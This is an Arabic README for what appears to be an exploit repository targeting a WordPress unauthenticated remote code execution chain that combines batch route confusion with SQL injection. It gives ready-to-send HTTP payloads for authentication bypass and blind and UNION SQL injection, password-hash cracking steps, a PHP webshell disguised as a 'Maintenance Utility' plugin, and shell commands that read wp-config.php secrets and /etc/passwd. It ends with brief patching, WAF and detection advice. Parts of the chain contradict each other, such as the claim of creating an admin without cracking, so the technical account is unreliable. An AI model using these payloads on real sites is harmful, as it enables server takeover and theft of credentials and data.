
استغلال WordPress لثغرة تنفيذ كود عن بُعد (RCE) بدون مصادقة، يجمع بين التباس المسار (route confusion) وحقن SQL. يتضمن سكربت آلي، وإعداد بيئة مختبر، وتحليلًا مفصّلًا للثغرة.
الثغرة: REST Batch Route Confusion + WP_Query SQL Injection → RCE كامل
CVSS v3.1: 10.0 / 10.0 — حرجة | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
المتأثر: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | التصحيح: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## بدء سريع
### 1. إعداد المختبر القابل للاختراق
**المتطلبات:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. المخرجات المتوقعة```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
الثغرة: تنفيذ كود عن بُعد دون مصادقة — REST Batch Route Confusion + حقن SQL في WP_Query
CVSS v3.1: 10.0 / 10.0 — حرجة
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 هي ثغرة RCE دون مصادقة في نواة ووردبريس. تجمع بين خطأين مستقلين في سلسلة استغلال كاملة من عدم الوصول إلى اختراق كامل للخادم:
| CVE | الخطأ | الدور في السلسلة |
|---|---|---|
| CVE-2026-63030 | REST Batch Route Confusion | تجاوز المصادقة |
| CVE-2026-60137 | author__not_in SQL Injection | قراءة/كتابة عشوائية في قاعدة البيانات |
الإصدارات المتأثرة:
شروط الاستغلال:
→ الغالبية العظمى من تثبيتات ووردبريس قابلة للاستغلال افتراضيًا.
/wp-json/batch/v1)يسمح بإرسال طلبات REST API متعددة داخل طلب HTTP واحد:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
يُطابَق كل طلب فرعي مع معالِج خاص به، ولكل معالِج **استدعاء إذن** خاص به.
### WP_Query — `author__not_in`
فئة استعلام قاعدة البيانات الأساسية. تقبل معلمة `author__not_in` مصفوفة من الأعداد الصحيحة، مما يولّد جملة SQL:```sql
AND post_author NOT IN (5, 12, 23)
يمر كل عنصر عبر absint() → مع الاحتفاظ بالجزء الصحيح فقط.
wp_parse_url()غلاف لـ parse_url(). عند استلام عنوان URL غير صالح → يُرجع WP_Error.```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. السبب الجذري — الخطأ A: الالتباس في مسار الدفعة (CVE-2026-63030)
**الملف:** `wp-includes/rest-api/class-wp-rest-server.php`
### الكود المصدري الضعيف:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### لماذا يتسبب `"///"` في الخطأ؟
عندما تواجه الدالة `parse_url()` في PHP السلسلة `"///"`، فإنها تحاول تحليلها وفقًا لـ **RFC 3986** — بنية URL:```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
عند استلام "///"، يفسّره على النحو التالي:```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
نتيجة إرجاع PHP:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
يقوم WordPress بتمرير هذا إلى wp_parse_url() → يكتشف لا مخطط صالح، ولا مضيف صالح، ولا مسار ذي معنى → يُرجع WP_Error.
تُرجع wp_parse_url("///") قيمة WP_Error (عنوان URL غير صالح). يؤدي هذا الخطأ إلى تخطي الطلب في الحلقة التي تبني $matches، لكنه لا يُتخطى في حلقة التوزيع → تصبح المصفوفة غير متزامنة.
الملف: wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;
if ( ! empty( $q['author__not_in'] ) ) {
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
$where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
// ↑ INJECTION POINT
}
}
}
### المسار الطبيعي (الآمن):```
User input → REST Controller → array cast + absint() → WP_Query → SQL
↑ sanitization occurs here
وحدة تحكم REST (class-wp-rest-posts-controller.php):```php
$args['author__not_in'] = array_map('absint', (array)$request['author_exclude']);
// "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0]
// → SAFE
### المسار مع التباس التوجيه (ضعيف):```
User input → Route Confusion bypass → WP_Query directly → SQL
↑ REST controller is SKIPPED
عند حدوث عدم تزامن الدفعة، لا تمر بارامترات الطلب عبر وحدة تحكم REST ← السلسلة الخام تنتقل مباشرة إلى WP_Query ← تحتوي wp_parse_id_list() على تجاوز لحالة حافة ← حقن SQL.
author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"
SQL المُولَّد:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
↑ INJECTED ↑ commented out
| السيناريو | النتيجة |
|---|---|
| الثغرة A وحدها (التشويش على المسار Route Confusion) | تجاوز الصلاحيات ← لكن لا يوجد شيء للحقن |
| الثغرة B وحدها (حقن SQL) | وحدة تحكم REST تقوم دائمًا بتحويل الإدخال ← لا يمكن الحقن |
| الثغرة A + الثغرة B | التشويش يتجاوز وحدة التحكم ← سلسلة خام إلى SQL ← تنفيذ أوامر عن بُعد RCE |
بشكل فردي، هاتان الثغرتان غير ضارّتين. فقط عند ربطهما:
POST /wp-json/batch/v1 Content-Type: application/json
{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }
→ Response[0]: `parse_path_failed` (تم تفعيل المُحرِّض)
→ Response[1]: `rest_invalid_handler` (تم تأكيد فك تزامن المعالج)
### **المرحلة 2: حقن SQL — استخراج البيانات**
**Blind Boolean :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -
UNION In-Band :
قارن استجابة TRUE مقابل FALSE → ابحث ثنائياً عن كل حرف.``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -
صف منشور وهمي يحتوي على بيانات الاعتماد التي تم إرجاعها في استجابة JSON.
→ النتيجة: تم استخراج `user_login` و `user_pass` (تجزئة bcrypt) من `wp_users` بنجاح.
### **المرحلة 3: كسر الهاش → تسجيل دخول المسؤول**
التجزئة التي تم الحصول عليها من المرحلة 2 هي بصيغة bcrypt (`$wp$2y$10$...`). أزل البادئة `$wp$` → اكسرها باستخدام john/hashcat + قائمة الكلمات → احصل على كلمة المرور الصريحة → سجّل الدخول على `/wp-login.php`.
**ملاحظة:** نقطة الحقن موجودة داخل جملة `WHERE` الخاصة بـ `SELECT`. تعطّل MySQL العبارات المتعددة → UNION للقراءة فقط وليس للكتابة → لا يمكن إدراج مسؤول جديد مباشرة عبر SQLi. يجب كسر التجزئة للحصول على جلسة صالحة.
### المرحلة 4: رفع قشرة الويب```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin
GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)
## **7. الاستغلال**
يأخذ استغلال CVE-2026-60137 من **وصول صفري** — بدون حساب، وبدون كلمة مرور، وبدون جلسة — إلى **تحكم كامل في الخادم** فقط عبر طلبات HTTP.
**المتطلبات:** الهدف يعمل بنظام WordPress 6.9.0–6.9.4 أو 7.0.0–7.0.1 مع تمكين REST API للعموم (مفعل افتراضيًا). لا حاجة لتسجيل الدخول أو معرفة أي بيانات اعتماد.
**تتكون سلسلة الاستغلال من 5 مراحل:**```
Phase 1: Route Confusion → Bypass authentication
Phase 2: SQL Injection → Read database (username, password hash)
Phase 3: Crack-Free Admin → Create new admin without cracking password
Phase 4: Webshell Upload → Install backdoor via plugin upload
Phase 5: RCE → Execute arbitrary commands on the server
الهدف: تأكيد أن الهدف قابل للاستغلال — مصفوفة المعالجات (handler array) غير متزامنة عند إرسال مسار التمهيد "///".
المبدأ: تسمح نقطة نهاية الدفعة (batch endpoint) بإرسال طلبات REST متعددة في استدعاء HTTP واحد. عند فشل wp_parse_url("///")، يتخطى ووردبريس هذا الطلب عند بناء مصفوفة $matches لكنه لا يتخطاه أثناء الإرسال (dispatch) → يحدث إزاحة في المعالجات → يُنفَّذ الطلب التالي مع استدعاء صلاحية خاطئ → تجاوز المصادقة.
إرسال الطلب:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json
{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}
**الاستجابة:**```
{
"responses": [
{"body": {"code": "parse_path_failed"}, "status": 400},
{"body": {"code": "rest_invalid_handler"}, "status": 500}
]
}
كيفية القراءة:

| الاستجابة | الرمز |
|---|
نلاحظ أن rest_invalid_handler تعني:
"يدرك WordPress أن المعالج لا يطابق الطلب"
→ أي أن مصفوفة $matches غير متزامنة بالفعل، وقد نجح المُهيِّئ "///"، ويمكن استغلال عدم التزامن هذا لجعل الطلب يعمل باستخدام استدعاء الأذونات الخاص بمسار آخر (مسار لا يتطلب مصادقة)
→ تجاوز المصادقة ممكن
رؤية rest_invalid_handler → تم تأكيد Bug A.
TRUE (OR 1=1):
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
**FALSE (AND 1=2):**
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
الفرق في X-WP-Total → تم تأكيد SQLi.
الحرف الأول:
```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → لذا فإن الحرف الأول هو `'a'`
من خلال التعداد التسلسلي، نحصل على: `user_login` = **"admin"**
#### **الخطوة 3 — استخراج هاش كلمة المرور**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}


استخدم البحث الثنائي لتحديد رمز ASCII لكل حرف في user_pass:```
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE)
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)
استجابتان متعارضتان تؤكدان أن قيمة ASCII للحرف الأول تقع ضمن النطاق **(30, 40]**. واصل التضييق:```
> 35 → TRUE
> 36 → FALSE
→ ASCII = 36 = '$'
تابع البحث الثنائي في كل موضع → احصل على سلسلة بادئة الهاش $wp$:
تابع استخدام SQL الأعمى حرفًا بحرف:
→ الهاش الكامل: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
بعد المرحلة 2، لدينا:
user_login = adminuser_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igiتكسير الهاش
تستخدم هاشات ووردبريس صيغة bcrypt ($2y$10$)، بعامل تكلفة 10. قبل التكسير، نحتاج إلى إزالة بادئة $wp$ لأن hashcat/john يقبلان bcrypt خالصًا فقط:```
echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt
john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt
**النتيجة:**
كلمة المرور **`admin123`** موجودة في قائمة الكلمات ← جون يقوم بكسرها بنجاح فورًا.
← تم تسجيل الدخول بنجاح إلى `/wp-login.php` باستخدام `admin:admin123`.
### **7.4 المرحلة 4: رفع Webshell**
عند هذه النقطة، لدينا جلسة مدير صالحة. الهدف التالي هو **زرع باب خلفي على الخادم** للحفاظ على الوصول بشكل مستقل عن بيانات الاعتماد.
يتيح ووردبريس للمدراء رفع الإضافات بصيغة ZIP — هذه ميزة شرعية، وسنقوم بإساءة استخدامها.
#### **إنشاء Webshell**
أولاً، نحتاج إلى ملف PHP ينفّذ أوامر النظام. سيتم تجميع هذا الملف داخل إضافة مزيفة ليتمكن ووردبريس من قبولها:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
header('Content-Type: text/plain');
echo shell_exec($_GET['cmd'] . ' 2>&1');
exit;
}
يعمل الرمز secret123 ككلمة مرور — لمنع الآخرين من تشغيل الصدفة عن طريق الخطأ.```bash
mkdir shell && mv shell.php shell/
zip -r shell.zip shell/

تم الإنشاء بنجاح.
#### **الرفع إلى ووردبريس**
بعد إنشاء `shell.zip` بنجاح، ارفع ملف zip إلى قسم الإضافات لتفعيله.
يقوم ووردبريس باستخراج الملف ووضعه في:```
/var/www/html/wp-content/plugins/shell/shell.php
يظهر المكوّن الإضافي في القائمة تحت اسم "Maintenance Utility" مع الحالة Active → أصبح الويبشيل الآن جاهزًا للتفعيل عبر HTTP.

تم الرفع والتفعيل بنجاح.
إذًا، الشيل موجود على الخادم. استدعه لتنفيذ الشيل.
تأكيد RCE:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
يعمل كمستخدم www-data — مستخدم خادم الويب. بعد ذلك، قم بتصعيد التأثير:
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

— ينفّذ الأمر لقراءة ملف `wp-config.php` عبر webshell — مما يكشف جميع المفاتيح السرية لووردبريس (`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...) وبيانات اعتماد قاعدة البيانات. هذه هي المعلومات الأكثر حساسية في تثبيت ووردبريس.

*—* يعيد الاستجابة محتويات `wp-config.php` بما في ذلك `DB_NAME` و`DB_USER` و`DB_PASSWORD` و`DB_HOST` — وهو ما يكفي للوصول المباشر إلى خادم قاعدة البيانات دون المرور عبر ووردبريس.
#### **قراءة جميع مستخدمي النظام:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

→ يؤكّد الوصول على مستوى نظام التشغيل، ولم يعد مقتصرًا على نطاق ووردبريس.
عند هذه النقطة، تكون سلسلة الاستغلال مكتملة:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data
### **7.6 الملخص**
| **#** | **المرحلة** | **الطريقة** | **المسار** |
| --- | --- | --- | --- |
| 1 | SQLi صحيح | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi خاطئ | POST | `/?rest_route=/batch/v1` |
| 3 | استخراج اسم المستخدم | POST | `/?rest_route=/batch/v1` |
| 4 | استخراج الهاش | POST | `/?rest_route=/batch/v1` |
| 5 | تسجيل دخول المدير | POST | `/wp-login.php` |
| 6 | الحصول على nonce | GET | `/wp-admin/plugin-install.php` |
| 7 | رفع الشيل | POST | `/wp-admin/update.php` |
| 8 | التفعيل | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |
**9 طلبات. صفر بيانات اعتماد مبدئية. من صفحة تسجيل الدخول → تحكم كامل بالخادم.**
## 8. تفصيل CVSS
| المقياس | القيمة | السبب |
| --- | --- | --- |
| ناقل الهجوم | الشبكة | عن بُعد عبر HTTP |
| تعقيد الهجوم | منخفض | حتمي، لا يتطلب توقيت/سباق |
| الصلاحيات المطلوبة | لا شيء | بدون أي مصادقة تمامًا |
| تفاعل المستخدم | لا شيء | لا يتطلب إجراء من الضحية |
| النطاق | متغير | WP → مستوى نظام التشغيل (www-data) |
| السرية | عالية | قراءة كاملة لقاعدة البيانات |
| السلامة | عالية | كتابة عشوائية لقاعدة البيانات، رفع ملفات |
| التوفر | عالٍ | إسقاط الجداول، برمجية فدية |
## 9. الأثر
### الأثر التقني
| الطبقة | الأثر |
| --- | --- |
| قاعدة البيانات | وصول قراءة/كتابة إلى كل شيء: wp_users, wp_options, wp_posts |
| التطبيق | إنشاء مسؤولين، تعديل المحتوى، تثبيت أبواب خلفية |
| الخادم | تنفيذ أوامر عن بُعد (RCE) كمستخدم www-data، قراءة wp-config.php، /etc/passwd |
| الشبكة | التنقل إلى الخدمات الداخلية عبر بيانات اعتماد قاعدة البيانات |
### الأثر التجاري
| السيناريو | العواقب |
| --- | --- |
| التجارة الإلكترونية | تسريب المعلومات الشخصية، سرقة مفاتيح الدفع، حقن قارئات بطاقات خبيثة |
| الشركات | تشويه الموقع، سبام تحسين محركات البحث، توزيع البرمجيات الخبيثة |
| المواقع المتعددة | استغلال واحد → اختراق الشبكة بالكامل |
| البرمجيات كخدمة (تسويق WP) | استخراج متغيرات البيئة → الانتقال إلى الإنتاج |
### البيانات المعرضة للخطر
- `wp_users`: اسم المستخدم، البريد الإلكتروني، هاش كلمة المرور
- `wp_usermeta`: معلومات شخصية (الاسم، الهاتف، العنوان)، رموز الجلسة
- `wp_options`: بيانات اعتماد قاعدة البيانات، بيانات اعتماد SMTP، مفاتيح API للدفع، أملاح ووردبريس
- `wp-config.php`: مضيف/مستخدم/كلمة مرور قاعدة البيانات، مفاتيح سرية
- `/proc/self/environ`: متغيرات البيئة
## 10. الدفاع والمعالجة
### 10.1 التصحيح (بشكل شامل)
| الإصدار الحالي | يتطلب الترقية إلى |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |
### 10.2 إصلاح الكود
**الخطأ A — الارتباك في المسار:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;
// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;
Bug B — حقن SQL:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);
### 10.3 التخفيف المؤقت
**1. تعطيل نقطة نهاية الدُفعة (الأكثر فعالية):**```php
add_filter('rest_endpoints', function($endpoints) {
unset($endpoints['/batch/v1']);
return $endpoints;
});
2. تفعيل Redis/Memcached:```bash wp plugin install redis-cache --activate wp redis enable
→ UNION injection لا ينعكس (تُرجع ذاكرة التخزين المؤقت بيانات قديمة).
**3. قاعدة WAF:**```nginx
location /wp-json/batch/ {
if ($request_body ~* '"path"\s*:\s*"///') {
return 403;
}
}
أنماط السجلات:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access
**فحص IOC:**```bash
wp user list --role=administrator # unfamiliar admin?
ls wp-content/mu-plugins/ # backdoor?
wp core verify-checksums # core modified?
| الملف | الوصف |
|---|
README.md | تحليل كامل للثغرة وتوثيق الاستغلال |
exploit.py | سكربت استغلال آلي (من عدم الوصول إلى RCE بأمر واحد) |
docker-compose.yml | بيئة مختبر WordPress قابلة للاستغلال |
chain-rce.md | توثيق سلسلة RCE الآلية |
images/ | لقطات شاشة من الاستغلال اليدوي |
[0] | parse_path_failed | يعمل المُهيِّئ — فشل wp_parse_url("///") |
[1] | rest_invalid_handler | DESYNC! تلقّى الطلب معالجًا خاطئًا → تجاوز المصادقة |
| الموضع | ASCII | الحرف | ملاحظات |
|---|
| 1 | 36 | $ | بادئة الهاش |
| 2 | 119 | w | |
| 3 | 112 | p | |
| 4 | 36 | $ | → $wp$ = نسخة bcrypt |
| 5-20 | ... | 2y$10$aJgATdlhfI | عامل التكلفة + الملح |